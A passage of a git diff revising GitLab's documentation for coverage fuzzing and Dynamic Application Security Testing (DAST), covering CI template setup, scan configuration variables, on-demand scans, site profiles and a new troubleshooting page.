+| `COVFUZZ_BRANCH` | The branch for long-running fuzzing jobs. This is normally the default branch. |
+| `COVFUZZ_SEED_CORPUS` | Path to a seed corpus directory. The default is empty. |
| `COVFUZZ_URL_PREFIX` | Path to the `gitlab-cov-fuzz` repository cloned for use with an offline environment. You should only change this when using an offline environment. The default value is `https://gitlab.com/gitlab-org/security-products/analyzers/gitlab-cov-fuzz/-/raw`. |
The files in the seed corpus (`COVFUZZ_SEED_CORPUS`), if provided, aren't updated unless you commit new
@@ -141,7 +141,7 @@ The `gitlab-cov-fuzz` tool emits a JSON report file. For more information, see t
[schema for this report](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/coverage-fuzzing-report-format.json).
You can download the JSON report file from the CI pipelines page. For more information, see
-[Downloading artifacts](../../../ci/pipelines/job_artifacts.md#downloading-artifacts).
+[Downloading artifacts](../../../ci/pipelines/job_artifacts.md#download-job-artifacts).
Here's an example coverage fuzzing report:
diff --git a/doc/user/application_security/dast/dast_troubleshooting.md b/doc/user/application_security/dast/dast_troubleshooting.md
new file mode 100644
index 00000000000..48b48392e65
--- /dev/null
+++ b/doc/user/application_security/dast/dast_troubleshooting.md
@@ -0,0 +1,64 @@
+---
+stage: Secure
+group: Dynamic Analysis
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference, howto
+---
+
+# Dynamic Application Security Testing (DAST) Troubleshooting **(ULTIMATE)**
+
+The following troubleshooting scenarios have been collected from customer support cases. If you
+experience a problem not addressed here, or the information here does not fix your problem, create a
+support ticket. For more details, see the [GitLab Support](https://about.gitlab.com/support/) page.
+
+## Running out of memory
+
+By default, ZAProxy, which DAST relies on, is allocated memory that sums to 25%
+of the total memory on the host.
+Since it keeps most of its information in memory during a scan,
+it's possible for DAST to run out of memory while scanning large applications.
+This results in the following error:
+
+```plaintext
+[zap.out] java.lang.OutOfMemoryError: Java heap space
+```
+
+Fortunately, it's straightforward to increase the amount of memory available
+for DAST by using the `DAST_ZAP_CLI_OPTIONS` CI/CD variable:
+
+```yaml
+include:
+ - template: DAST.gitlab-ci.yml
+
+variables:
+ DAST_ZAP_CLI_OPTIONS: "-Xmx3072m"
+```
+
+This example allocates 3072 MB to DAST.
+Change the number after `-Xmx` to the required memory amount.
+
+## DAST job exceeding the job timeout
+
+If your DAST job exceeds the job timeout and you need to reduce the scan duration, we shared some
+tips for optimizing DAST scans in a [blog post](https://about.gitlab.com/blog/2020/08/31/how-to-configure-dast-full-scans-for-complex-web-applications/).
+
+## Getting warning message `gl-dast-report.json: no matching files`
+
+For information on this, see the [general Application Security troubleshooting section](../../../ci/pipelines/job_artifacts.md#error-message-no-files-to-upload).
+
+## Getting error `dast job: chosen stage does not exist` when including DAST CI template
+
+To avoid overwriting stages from other CI files, newer versions of the DAST CI template do not
+define stages. If you recently started using `DAST.latest.gitlab-ci.yml` or upgraded to a new major
+release of GitLab and began receiving this error, you must define a `dast` stage with your other
+stages. Note that you must have a running application for DAST to scan. If your application is set
+up in your pipeline, it must be deployed in a stage _before_ the `dast` stage:
+
+```yaml
+stages:
+ - deploy # DAST needs a running application to scan
+ - dast
+
+include:
+ - template: DAST.latest.gitlab-ci.yml
+```
diff --git a/doc/user/application_security/dast/img/dast_v13_4.png b/doc/user/application_security/dast/img/dast_v13_4.png
deleted file mode 100644
index d9c1d1b5c66..00000000000
--- a/doc/user/application_security/dast/img/dast_v13_4.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/dast/index.md b/doc/user/application_security/dast/index.md
index 209dd7ad251..d3f679fe9dd 100644
--- a/doc/user/application_security/dast/index.md
+++ b/doc/user/application_security/dast/index.md
@@ -7,125 +7,142 @@ type: reference, howto
# Dynamic Application Security Testing (DAST) **(ULTIMATE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4348) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.4.
+If you deploy your web application into a new environment, your application may
+become exposed to new types of attacks. For example, misconfigurations of your
+application server or incorrect assumptions about security controls may not be
+visible from the source code.
-Your application may be exposed to a new category of attacks once deployed into a new environment. For
-example, application server misconfigurations or incorrect assumptions about security controls may
-not be visible from source code alone. Dynamic Application Security Testing (DAST) checks an
-application for these types of vulnerabilities in a deployed environment. GitLab DAST uses the
-popular open source tool [OWASP Zed Attack Proxy](https://www.zaproxy.org/) to analyze your running
-web application.
+Dynamic Application Security Testing (DAST) examines applications for
+vulnerabilities like these in deployed environments. DAST uses the open source
+tool [OWASP Zed Attack Proxy](https://www.zaproxy.org/) for analysis.
NOTE:
-The whitepaper ["A Seismic Shift in Application Security"](https://about.gitlab.com/resources/whitepaper-seismic-shift-application-security/)
-explains how 4 of the top 6 attacks were application based. Download it to learn how to protect your
-organization.
+To learn how four of the top six attacks were application-based and how
+to protect your organization, download our
+["A Seismic Shift in Application Security"](https://about.gitlab.com/resources/whitepaper-seismic-shift-application-security/)
+whitepaper.
-In GitLab, DAST is commonly initiated by a merge request and runs as a job in the CI/CD pipeline.
-You can also run a DAST scan on demand, outside the CI/CD pipeline. Your running web application is
-analyzed for known vulnerabilities. GitLab checks the DAST report, compares the vulnerabilities
-found between the source and target branches, and shows any relevant findings on the merge request.
+You can use DAST to examine your web applications:
-Note that this comparison logic uses only the latest pipeline executed for the target branch's base
-commit. Running the pipeline on any other commit has no effect on the merge request.
+- When initiated by a merge request, running as CI/CD pipeline job.
+- On demand, outside the CI/CD pipeline.
-![DAST widget, showing the vulnerability statistics and a list of vulnerabilities](img/dast_v13_4.png)
+After DAST creates its report, GitLab evaluates it for discovered
+vulnerabilities between the source and target branches. Relevant
+findings are noted in the merge request.
-## Enable DAST
+The comparison logic uses only the latest pipeline executed for the target
+branch's base commit. Running the pipeline on other commits has no effect on
+the merge request.
+
+## Prerequisite
-### Prerequisites
+To use DAST, ensure you're using GitLab Runner with the
+[`docker` executor](https://docs.gitlab.com/runner/executors/docker.html).
-- GitLab Runner with the [`docker` executor](https://docs.gitlab.com/runner/executors/docker.html).
+## Enable DAST
To enable DAST, either:
-- Enable [Auto DAST](../../../topics/autodevops/stages.md#auto-dast), provided by
- [Auto DevOps](../../../topics/autodevops/index.md).
-- [Include the DAST template](#dast-cicd-template) in your existing `.gitlab-ci.yml` file.
+- Enable [Auto DAST](../../../topics/autodevops/stages.md#auto-dast) (provided
+ by [Auto DevOps](../../../topics/autodevops/index.md)).
+- Manually [include the DAST template](#include-the-dast-template) in your existing
+ `.gitlab-ci.yml` file.
-### DAST CI/CD template
+### Include the DAST template
-The DAST job is defined in a CI/CD template file you reference in your CI/CD configuration file. The
-template is included with GitLab. Updates to the template are provided with GitLab upgrades. You
-benefit from any improvements and additions.
+If you want to manually add DAST to your application, the DAST job is defined
+in a CI/CD template file. Updates to the template are provided with GitLab
+upgrades, allowing you to benefit from any improvements and additions.
-The following templates are available:
+To include the DAST template:
-- [`DAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml):
- Stable version of the DAST CI/CD template.
-- [`DAST.latest.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml):
- Latest version of the DAST template. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/254325)
- in GitLab 13.8). Please note that the latest version may include breaking changes. Check the
- [DAST troubleshooting guide](#troubleshooting) if you experience problems.
+1. Select the CI/CD template you want to use:
-Use the stable template unless you need a feature provided only in the latest template.
+ - [`DAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml):
+ Stable version of the DAST CI/CD template.
+ - [`DAST.latest.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml):
+ Latest version of the DAST template. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/254325)
+ in GitLab 13.8).
-See the CI/CD [documentation](../../../development/cicd/templates.md#latest-version)
-on template versioning for more information.
+ WARNING:
+ The latest version of the template may include breaking changes. Use the
+ stable template unless you need a feature provided only in the latest template.
-#### Include the DAST template
+ For more information about template versioning, see the
+ [CI/CD documentation](../../../development/cicd/templates.md#latest-version).
-The method of including the DAST template depends on the GitLab version:
+1. Add a `dast` stage to your GitLab CI stages configuration:
-- In GitLab 11.9 and later, [include](../../../ci/yaml/README.md#includetemplate) the
- `DAST.gitlab-ci.yml` template.
+ ```yaml
+ stages:
+ - dast
+ ```
- Add the following to your `.gitlab-ci.yml` file:
+1. Add the template to GitLab, based on your version of GitLab:
- ```yaml
- include:
- - template: DAST.gitlab-ci.yml
+ - In GitLab 11.9 and later, [include](../../../ci/yaml/README.md#includetemplate)
+ the template by adding the following to your `.gitlab-ci.yml` file:
- variables:
- DAST_WEBSITE: https://example.com
- ```
+ ```yaml
+ include:
+ - template: <template_file.yml>
-- In GitLab 11.8 and earlier, copy the template's content into your `.gitlab_ci.yml` file.
+ variables:
+ DAST_WEBSITE: https://example.com
+ ```
-#### Template options
+ - In GitLab 11.8 and earlier, add the contents of the template to your
+ `.gitlab_ci.yml` file.
-Running a DAST scan requires a URL. There are two ways to define the URL to be scanned by DAST:
+1. Define the URL to be scanned by DAST by using one of these methods:
-1. Set the `DAST_WEBSITE` [CI/CD variable](../../../ci/yaml/README.md#variables).
+ - Set the `DAST_WEBSITE` [CI/CD variable](../../../ci/yaml/README.md#variables).
+ If set, this value takes precedence.
-1. Add it in an `environment_url.txt` file at the root of your project.
- This is useful for testing in dynamic environments. To run DAST against an application
- dynamically created during a GitLab CI/CD pipeline, a job that runs prior to the DAST scan must
- persist the application's domain in an `environment_url.txt` file. DAST automatically parses the
- `environment_url.txt` file to find its scan target.
+ - Add the URL in an `environment_url.txt` file at the root of your project. This is
+ useful for testing in dynamic environments. To run DAST against an application
+ dynamically created during a GitLab CI/CD pipeline, a job that runs prior to
+ the DAST scan must persist the application's domain in an `environment_url.txt`
+ file. DAST automatically parses the `environment_url.txt` file to find its
+ scan target.
- For example, in a job that runs prior to DAST, you could include code that looks similar to:
+ For example, in a job that runs prior to DAST, you could include code that
+ looks similar to:
- ```yaml
- script:
- - echo http://${CI_PROJECT_ID}-${CI_ENVIRONMENT_SLUG}.domain.com > environment_url.txt
- artifacts:
- paths: [environment_url.txt]
- when: always
- ```
-
- You can see an example of this in our [Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml) file.
+ ```yaml
+ script:
+ - echo http://${CI_PROJECT_ID}-${CI_ENVIRONMENT_SLUG}.domain.com > environment_url.txt
+ artifacts:
+ paths: [environment_url.txt]
+ when: always
+ ```
-If both values are set, the `DAST_WEBSITE` value takes precedence.
+ You can see an example of this in our
+ [Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml)
+ file.
The included template creates a `dast` job in your CI/CD pipeline and scans
your project's running application for possible vulnerabilities.
The results are saved as a
-[DAST report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsdast)
-that you can later download and analyze. Due to implementation limitations we
+[DAST report artifact](../../../ci/yaml/README.md#artifactsreportsdast)
+that you can later download and analyze. Due to implementation limitations, we
always take the latest DAST artifact available. Behind the scenes, the
[GitLab DAST Docker image](https://gitlab.com/gitlab-org/security-products/dast)
-is used to run the tests on the specified URL and scan it for possible vulnerabilities.
+is used to run the tests on the specified URL and scan it for possible
+vulnerabilities.
By default, the DAST template uses the latest major version of the DAST Docker
image. Using the `DAST_VERSION` variable, you can choose how DAST updates:
-- Automatically update DAST with new features and fixes by pinning to a major version (such as `1`).
+- Automatically update DAST with new features and fixes by pinning to a major
+ version (such as `1`).
- Only update fixes by pinning to a minor version (such as `1.6`).
- Prevent all updates by pinning to a specific version (such as `1.6.4`).
-Find the latest DAST versions on the [Releases](https://gitlab.com/gitlab-org/security-products/dast/-/releases) page.
+Find the latest DAST versions on the [Releases](https://gitlab.com/gitlab-org/security-products/dast/-/releases)
+page.
## Deployment options
@@ -145,7 +162,7 @@ on how to configure Review Apps for DAST.
If your application utilizes Docker containers you have another option for deploying and scanning with DAST.
After your Docker build job completes and your image is added to your container registry, you can utilize the image as a
-[service](../../../ci/docker/using_docker_images.md#what-is-a-service).
+[service](../../../ci/services/index.md).
By using service definitions in your `gitlab-ci.yml`, you can scan services with the DAST analyzer.
@@ -154,7 +171,7 @@ stages:
- build
- dast
-include:
+include:
- template: DAST.gitlab-ci.yml
# Deploys the container to the GitLab container registry
@@ -261,7 +278,7 @@ that you periodically confirm the scanner's authentication is still working as t
time due to authentication changes to the application.
Create masked CI/CD variables to pass the credentials that DAST uses.
-To create masked variables for the username and password, see [Create a custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui).
+To create masked variables for the username and password, see [Create a custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables).
Note that the key of the username variable must be `DAST_USERNAME`
and the key of the password variable must be `DAST_PASSWORD`.
@@ -287,7 +304,7 @@ variables:
```
The results are saved as a
-[DAST report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsdast)
+[DAST report artifact](../../../ci/yaml/README.md#artifactsreportsdast)
that you can later download and analyze.
Due to implementation limitations, we always take the latest DAST artifact available.
@@ -459,16 +476,14 @@ variables:
#### Import API specification from a file
-If your API specification is in your repository, you can provide the specification's
-filename directly as the target. The specification file is expected to be in the
-`/zap/wrk` directory.
+If your API specification file is in your repository, you can provide its filename as the target.
+The API specification file must be in the `/zap/wrk` directory.
```yaml
dast:
- script:
+ before_script:
- mkdir -p /zap/wrk
- cp api-specification.yml /zap/wrk/api-specification.yml
- - /analyze -t $DAST_WEBSITE
variables:
GIT_STRATEGY: fetch
DAST_API_SPECIFICATION: api-specification.yml
@@ -486,6 +501,12 @@ host referenced may be different than the host of the API's review instance.
This can cause incorrect URLs to be imported, or a scan on an incorrect host.
Use the `DAST_API_HOST_OVERRIDE` CI/CD variable to override these values.
+WARNING:
+When using the API host override feature, you cannot use the `$DAST_WEBSITE` variable to override the hostname.
+A host override is _only_ supported when importing the API specification from a URL. Attempts to override the
+host throw an error when the API specification is imported from a file. This is due to a limitation in the
+ZAP OpenAPI extension.
+
For example, with a OpenAPI V3 specification containing:
```yaml
@@ -505,10 +526,6 @@ variables:
DAST_API_HOST_OVERRIDE: api-test.host.com
```
-Note that using a host override is ONLY supported when importing the API specification from a URL.
-It doesn't work and is ignored when importing the specification from a file. This is due to a
-limitation in the ZAP OpenAPI extension.
-
#### Authentication using headers
Tokens in request headers are often used as a way to authenticate API requests.
@@ -526,7 +543,8 @@ variables:
### URL scan
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.4.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.4.
+> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/273141) in GitLab 13.11.
A URL scan allows you to specify which parts of a website are scanned by DAST.
@@ -550,26 +568,19 @@ category/shoes/page1.html
```
To scan the URLs in that file, set the CI/CD variable `DAST_PATHS_FILE` to the path of that file.
+The file can be checked into the project repository or generated as an artifact by a job that
+runs before DAST.
+
+By default, DAST scans do not clone the project repository. Instruct the DAST job to clone
+the project by setting `GIT_STRATEGY` to fetch. Give a file path relative to `CI_PROJECT_DIR` to `DAST_PATHS_FILE`.
```yaml
include:
- template: DAST.gitlab-ci.yml
variables:
- DAST_PATHS_FILE: url_file.txt
-```
-
-By default, DAST scans do not clone the project repository. If the file is checked in to the project, instruct the DAST job to clone the project by setting GIT_STRATEGY to fetch. The file is expected to be in the `/zap/wrk` directory.
-
-```yaml
-dast:
- script:
- - mkdir -p /zap/wrk
- - cp url_file.txt /zap/wrk/url_file.txt
- - /analyze -t $DAST_WEBSITE
- variables:
- GIT_STRATEGY: fetch
- DAST_PATHS_FILE: url_file.txt
+ GIT_STRATEGY: fetch
+ DAST_PATHS_FILE: url_file.txt # url_file.txt lives in the root directory of the project
```
##### Use `DAST_PATHS` CI/CD variable
@@ -584,7 +595,7 @@ include:
- template: DAST.gitlab-ci.yml
variables:
- DAST_PATHS=/page1.html,/category1/page1.html,/page3.html
+ DAST_PATHS: "/page1.html,/category1/page1.html,/page3.html"
```
When using `DAST_PATHS` and `DAST_PATHS_FILE`, note the following:
@@ -643,7 +654,7 @@ DAST can be [configured](#customizing-the-dast-settings) using CI/CD variables.
| `DAST_MASK_HTTP_HEADERS` | string | Comma-separated list of request and response headers to be masked (GitLab 13.1). Must contain **all** headers to be masked. Refer to [list of headers that are masked by default](#hide-sensitive-information). |
| `DAST_EXCLUDE_URLS` | URLs | The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. Not supported for API scans. |
| `DAST_FULL_SCAN_ENABLED` | boolean | Set to `true` to run a [ZAP Full Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Full-Scan) instead of a [ZAP Baseline Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Baseline-Scan). Default: `false` |
-| `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` | boolean | Set to `true` to require [domain validation](#domain-validation) when running DAST full scans. Not supported for API scans. Default: `false` |
+| `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` | boolean | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/293595) in GitLab 13.8, to be removed in 14.0. Set to `true` to require [domain validation](#domain-validation) when running DAST full scans. Not supported for API scans. Default: `false` |
| `DAST_AUTO_UPDATE_ADDONS` | boolean | ZAP add-ons are pinned to specific versions in the DAST Docker image. Set to `true` to download the latest versions when the scan starts. Default: `false` |
| `DAST_API_HOST_OVERRIDE` | string | Used to override domains defined in API specification files. Only supported when importing the API specification from a URL. Example: `example.com:8080` |
| `DAST_EXCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to exclude them from running during the scan. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://github.com/zaproxy/zaproxy/blob/develop/docs/scanners.md). For example, `HTTP Parameter Override` has a rule ID of `10026`. **Note:** In earlier versions of GitLab the excluded rules were executed but alerts they generated were suppressed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118641) in GitLab 12.10. |
@@ -656,7 +667,7 @@ DAST can be [configured](#customizing-the-dast-settings) using CI/CD variables.
| `DAST_INCLUDE_ALPHA_VULNERABILITIES` | boolean | Set to `true` to include alpha passive and active scan rules. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
| `DAST_USE_AJAX_SPIDER` | boolean | Set to `true` to use the AJAX spider in addition to the traditional spider, useful for crawling sites that require JavaScript. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
| `DAST_PATHS` | string | Set to a comma-separated list of URLs for DAST to scan. For example, `/page1.html,/category1/page3.html,/page2.html`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in GitLab 13.4. |
-| `DAST_PATHS_FILE` | string | The file path containing the paths within `DAST_WEBSITE` to scan. The file must be plain text with one path per line and be in `/zap/wrk`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. |
+| `DAST_PATHS_FILE` | string | The file path containing the paths within `DAST_WEBSITE` to scan. The file must be plain text with one path per line. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. |
| `DAST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the login form or the password form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. |
| `DAST_FIRST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the username form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. |
| `DAST_ZAP_CLI_OPTIONS` | string | ZAP server command-line options. For example, `-Xmx3072m` would set the Java maximum memory allocation pool size. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
@@ -708,6 +719,22 @@ variables:
DAST_ZAP_CLI_OPTIONS: "-config replacer.full_list(0).description=auth -config replacer.full_list(0).enabled=true -config replacer.full_list(0).matchtype=REQ_HEADER -config replacer.full_list(0).matchstr=Authorization -config replacer.full_list(0).regex=false -config replacer.full_list(0).replacement=TOKEN"
```
+### Bleeding-edge vulnerability definitions
+
+ZAP first creates rules in the `alpha` class. After a testing period with
+the community, they are promoted to `beta`. DAST uses `beta` definitions by
+default. To request `alpha` definitions, use the
+`DAST_INCLUDE_ALPHA_VULNERABILITIES` CI/CD variable as shown in the
+following configuration:
+
+```yaml
+include:
+ template: DAST.gitlab-ci.yml
+
+variables:
+ DAST_INCLUDE_ALPHA_VULNERABILITIES: "true"
+```
+
### Cloning the project's repository
The DAST job does not require the project's repository to be present when running, so by default
@@ -747,7 +774,7 @@ successfully run. For more information, see [Offline environments](../offline_de
To use DAST in an offline environment, you need:
-- GitLab Runner with the [`docker` or `kubernetes` executor](#prerequisites).
+- GitLab Runner with the [`docker` or `kubernetes` executor](#prerequisite).
- Docker Container Registry with a locally available copy of the DAST
[container image](https://gitlab.com/gitlab-org/security-products/dast), found in the
[DAST container registry](https://gitlab.com/gitlab-org/security-products/dast/container_registry).
@@ -798,8 +825,9 @@ Alternatively, you can use the CI/CD variable `SECURE_ANALYZERS_PREFIX` to overr
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218465) in GitLab 13.2.
> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/218465) in GitLab 13.3.
-> - The saved scans feature was [added](https://gitlab.com/groups/gitlab-org/-/epics/5100) in
-> GitLab 13.9.
+> - The saved scans feature was [introduced](https://gitlab.com/groups/gitlab-org/-/epics/5100) in GitLab 13.9.
+> - The option to select a branch was [introduced](https://gitlab.com/groups/gitlab-org/-/epics/4847) in GitLab 13.10.
+> - DAST branch selection [feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/322672) in GitLab 13.11.
An on-demand DAST scan runs outside the DevOps life cycle. Changes in your repository don't trigger
the scan. You must start it manually.
@@ -811,6 +839,8 @@ An on-demand DAST scan:
- Is associated with your project's default branch.
- Is saved on creation so it can be run later.
+In GitLab 13.10 and later, you can select to run an on-demand scan against a specific branch.
+
### On-demand scan modes
An on-demand scan can be run in active or passive mode:
@@ -843,6 +873,7 @@ To run an on-demand scan, either:
1. From your project's home page, go to **Security & Compliance > On-demand Scans** in the left
sidebar.
1. Complete the **Scan name** and **Description** fields.
+1. In GitLab 13.10 and later, select the desired branch from the **Branch** dropdown.
1. In **Scanner profile**, select a scanner profile from the dropdown.
1. In **Site profile**, select a site profile from the dropdown.
1. To run the on-demand scan now, select **Save and run scan**. Otherwise select **Save scan** to
@@ -877,6 +908,9 @@ To run a saved on-demand scan:
1. Select the **Saved Scans** tab.
1. In the scan's row select **Run scan**.
+ If the branch saved in the scan no longer exists, you must first
+ [edit the scan](#edit-an-on-demand-scan), select a new branch, and save the edited scan.
+
The on-demand DAST scan runs and the project's dashboard shows the results.
### Edit an on-demand scan
@@ -911,6 +945,14 @@ A site profile contains the following:
- **Profile name**: A name you assign to the site to be scanned.
- **Target URL**: The URL that DAST runs against.
+- **Excluded URLs**: A comma-separated list of URLs to exclude from the scan.
+- **Request headers**: A comma-separated list of HTTP request headers, including names and values. These headers are added to every request made by DAST.
+- **Authentication**:
+ - **Authenticated URL**: The URL of the page containing the sign-in HTML form on the target website. The username and password are submitted with the login form to create an authenticated scan.
+ - **Username**: The username used to authenticate to the website.
+ - **Password**: The password used to authenticate to the website.
+ - **Username form field**: The name of username field at the sign-in HTML form.
+ - **Password form field**: The name of password field at the sign-in HTML form.
#### Site profile validation
@@ -926,7 +968,7 @@ follows:
- _Header validation_ requires the header `Gitlab-On-Demand-DAST` be added to the target site,
with a value unique to the project. The validation process checks that the header is present, and
checks its value.
-
+
Both methods are equivalent in functionality. Use whichever is feasible.
#### Create a site profile
@@ -950,7 +992,9 @@ To edit an existing site profile:
1. In the profile's row select the **More actions** (**{ellipsis_v}**) menu, then select **Edit**.
1. Edit the fields then select **Save profile**.
-The site profile is updated with the edited details.
+If a site profile is linked to a security policy, a user cannot edit the profile from this page. See
+[Scan Policies](../policies/index.md)
+for more information.
#### Delete a site profile
@@ -962,7 +1006,9 @@ To delete an existing site profile:
1. In the profile's row select the **More actions** (**{ellipsis_v}**) menu, then select **Delete**.
1. Select **Delete** to confirm the deletion.
-The site profile is deleted.
+If a site profile is linked to a security policy, a user cannot delete the profile from this page.
+See [Scan Policies](../policies/index.md)
+for more information.
#### Validate a site profile
@@ -1084,7 +1130,9 @@ To edit a scanner profile:
1. Edit the form.
1. Select **Save profile**.
-The scanner profile is updated with the edited details.
+If a scanner profile is linked to a security policy, a user cannot edit the profile from this page.
+See [Scan Policies](../policies/index.md)
+for more information.
#### Delete a scanner profile
@@ -1096,7 +1144,9 @@ To delete a scanner profile:
1. In the scanner's row select the **More actions** (**{ellipsis_v}**) menu, then select **Delete**.
1. Select **Delete**.
-The scanner profile is deleted.
+If a scanner profile is linked to a security policy, a user cannot delete the profile from this
+page. See [Scan Policies](../policies/index.md)
+for more information.
## Reports
@@ -1145,38 +1195,6 @@ dast:
- gl-dast-report.json
```
-## Security Dashboard
-
-The Security Dashboard is a good place to get an overview of all the security
-vulnerabilities in your groups, projects and pipelines. Read more about the
-[Security Dashboard](../security_dashboard/index.md).
-
-## Bleeding-edge vulnerability definitions
-
-ZAP first creates rules in the `alpha` class. After a testing period with
-the community, they are promoted to `beta`. DAST uses `beta` definitions by
-default. To request `alpha` definitions, use the
-`DAST_INCLUDE_ALPHA_VULNERABILITIES` CI/CD variable as shown in the
-following configuration:
-
-```yaml
-include:
- template: DAST.gitlab-ci.yml
-
-variables:
- DAST_INCLUDE_ALPHA_VULNERABILITIES: "true"
-```
-
-## Interacting with the vulnerabilities
-
-Once a vulnerability is found, you can interact with it. Read more on how to
-[address the vulnerabilities](../index.md#addressing-vulnerabilities).
-
-## Vulnerabilities database update
-
-For more information about the vulnerabilities database update, check the
-[maintenance table](../index.md#maintenance-and-update-of-the-vulnerabilities-database).
-
## Optimizing DAST
By default, DAST downloads all artifacts defined by previous jobs in the pipeline. If
@@ -1188,70 +1206,3 @@ artifacts, add the following to your `gitlab-ci.yml` file:
dast:
dependencies: []
```
-
-## Troubleshooting
-
-### Running out of memory
-
-By default, ZAProxy, which DAST relies on, is allocated memory that sums to 25%
-of the total memory on the host.
-Since it keeps most of its information in memory during a scan,
-it's possible for DAST to run out of memory while scanning large applications.
-This results in the following error:
-
-```plaintext
-[zap.out] java.lang.OutOfMemoryError: Java heap space
-```
-
-Fortunately, it's straightforward to increase the amount of memory available
-for DAST by using the `DAST_ZAP_CLI_OPTIONS` CI/CD variable:
-
-```yaml
-include:
- - template: DAST.gitlab-ci.yml
-
-variables:
- DAST_ZAP_CLI_OPTIONS: "-Xmx3072m"
-```
-
-Here, DAST is being allocated 3072 MB.
-Change the number after `-Xmx` to the required memory amount.
-
-### DAST job exceeding the job timeout
-
-If your DAST job exceeds the job timeout and you need to reduce the scan duration, we shared some tips for optimizing DAST scans in a [blog post](https://about.gitlab.com/blog/2020/08/31/how-to-configure-dast-full-scans-for-complex-web-applications/).
-
-### Getting warning message `gl-dast-report.json: no matching files`
-
-For information on this, see the [general Application Security troubleshooting section](../../../ci/pipelines/job_artifacts.md#error-message-no-files-to-upload).
-
-### Getting error `dast job: chosen stage does not exist` when including DAST CI template
-
-Newer versions of the DAST CI template do not define stages in order to avoid
-overwriting stages from other CI files. If you've recently started using
-`DAST.latest.gitlab-ci.yml` or upgraded to a new major release of GitLab and
-began receiving this error, you will need to define a `dast` stage with your
-other stages. Please note that you must have a running application for DAST to
-scan. If your application is set up in your pipeline, it must be deployed
- in a stage _before_ the `dast` stage:
-
-```yaml
-stages:
- - deploy # DAST needs a running application to scan
- - dast
-
-include:
- - template: DAST.latest.gitlab-ci.yml
-```
-
-<!-- ## Troubleshooting
-
-Include any troubleshooting steps that you can foresee. If you know beforehand what issues
-one might have when setting this up, or when something is changed, or on upgrading, it's
-important to describe those, too. Think of things that may go wrong and include them here.
-This is important to minimize requests for support, and to avoid doc comments with
-questions that you know someone might ask.
-
-Each scenario can be a third-level heading, e.g. `### Getting error message X`.
-If you have none to add when creating a doc, leave this section in place
-but commented out to help encourage others to add to it in the future. -->
diff --git a/doc/user/application_security/dependency_list/img/dependency_list_v12_10.png b/doc/user/application_security/dependency_list/img/dependency_list_v12_10.png
deleted file mode 100644
index 2755b42f1e4..00000000000
--- a/doc/user/application_security/dependency_list/img/dependency_list_v12_10.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/dependency_list/img/dependency_list_v13_11.png b/doc/user/application_security/dependency_list/img/dependency_list_v13_11.png
new file mode 100644
index 00000000000..5b2bd985ce4
--- /dev/null
+++ b/doc/user/application_security/dependency_list/img/dependency_list_v13_11.png
Binary files differ
diff --git a/doc/user/application_security/dependency_list/index.md b/doc/user/application_security/dependency_list/index.md
index 6ed3b15d829..25b7615a8ae 100644
--- a/doc/user/application_security/dependency_list/index.md
+++ b/doc/user/application_security/dependency_list/index.md
@@ -26,7 +26,7 @@ To view your project's dependencies, ensure you meet the following requirements:
## View a project's dependencies
